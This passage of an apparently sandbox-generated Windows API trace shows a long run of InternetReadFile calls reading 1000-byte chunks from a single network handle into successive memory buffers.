lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d4a80*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.050] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d4e68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d4e68*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.050] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d5250, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d5250*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.051] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d5638, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d5638*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.051] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d5a20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d5a20*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.051] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d5e08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d5e08*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.051] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d61f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d61f0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.052] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d65d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d65d8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.052] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d69c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d69c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.052] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d6da8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d6da8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.052] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d7190, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d7190*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.052] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d7578, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d7578*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.053] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d7960, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d7960*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.053] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d7d48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d7d48*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.053] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d8130, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d8130*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.053] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d8518, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d8518*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.053] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d8900, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d8900*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.054] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d8ce8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d8ce8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.054] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d90d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d90d0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.054] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d94b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d94b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.054] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d98a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d98a0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.054] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d9c88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d9c88*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.055] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25da070, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25da070*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.055] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25da458, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25da458*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.055] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25da840, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25da840*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.055] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dac28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dac28*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.056] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25db010, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25db010*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.056] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25db3f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25db3f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.056] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25db7e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25db7e0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.056] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dbbc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dbbc8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.057] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dbfb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dbfb0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.057] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dc398, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dc398*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.057] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dc780, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dc780*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.057] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dcb68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dcb68*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.057] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dcf50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dcf50*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.058] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dd338, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dd338*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.058] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dd720, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dd720*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.058] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ddb08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ddb08*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.058] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ddef0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ddef0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.059] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25de2d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25de2d8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.059] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25de6c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25de6c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.059] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25deaa8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25deaa8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.059] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dee90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dee90*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.059] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25df278, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25df278*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.060] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25df660, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25df660*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.060] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dfa48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dfa48*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.060] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dfe30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dfe30*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.089] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e0218, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e0218*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.089] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e0600, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e0600*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.089] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e09e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e09e8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.090] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e0dd0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e0dd0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.090] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e11b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e11b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.092] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e15a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e15a0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.092] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e1988, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e1988*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.092] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e1d70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e1d70*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.093] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e2158, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e2158*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.093] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e2540, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e2540*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.093] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e2928, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e2928*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.093] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e2d10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e2d10*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.094] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e30f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e30f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.097] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e34e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e34e0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.098] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e38c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e38c8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.098] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e3cb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e3cb0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.098] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e4098, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e4098*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.098] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e4480, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e4480*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.099] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e4868, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e4868*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.099] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e4c50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e4c50*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.099] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e5038, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e5038*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.099] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e5420, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e5420*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.100] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e5808, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e5808*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.100] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e5bf0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e5bf0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.100] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e5fd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e5fd8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.100] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e63c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e63c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.101] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e67a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e67a8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.104] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e6b90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e6b90*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.104] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e6f78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e6f78*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.105] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e7360, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e7360*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.105] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e7748, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e7748*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.105] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e7b30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e7b30*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.105] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e7f18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e7f18*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.106] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e8300, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e8300*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.106] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e86e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e86e8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.106] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e8ad0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e8ad0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.106] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e8eb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e8eb8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.107] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e92a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e92a0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.107] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e9688, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e9688*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.107] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e9a70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e9a70*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.107] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e9e58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e9e58*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.107] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ea240, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ea240*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.108] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ea628, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ea628*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.108] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25eaa10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25eaa10*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.108] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25eadf8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25eadf8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.108] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25eb1e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25eb1e0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.108] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25eb5c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25eb5c8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.109] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25eb9b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25eb9b0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.109] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ebd98, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ebd98*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.109] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ec180, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ec180*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.109] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ec568, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ec568*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.109] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ec950, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ec950*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.109] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ecd38, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ecd38*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.110] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ed120, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ed120*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.110] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ed508, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ed508*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.110] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ed8f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ed8f0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.111] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25edcd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25edcd8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.111] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ee0c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ee0c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.111] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ee4a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ee4a8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.111] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ee890, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ee890*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.112] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25eec78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25eec78*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.112] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ef060, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ef060*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.112] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ef448, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ef448*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.113] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ef830, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ef830*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.113] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25efc18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25efc18*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.134] InternetReadFile (in: 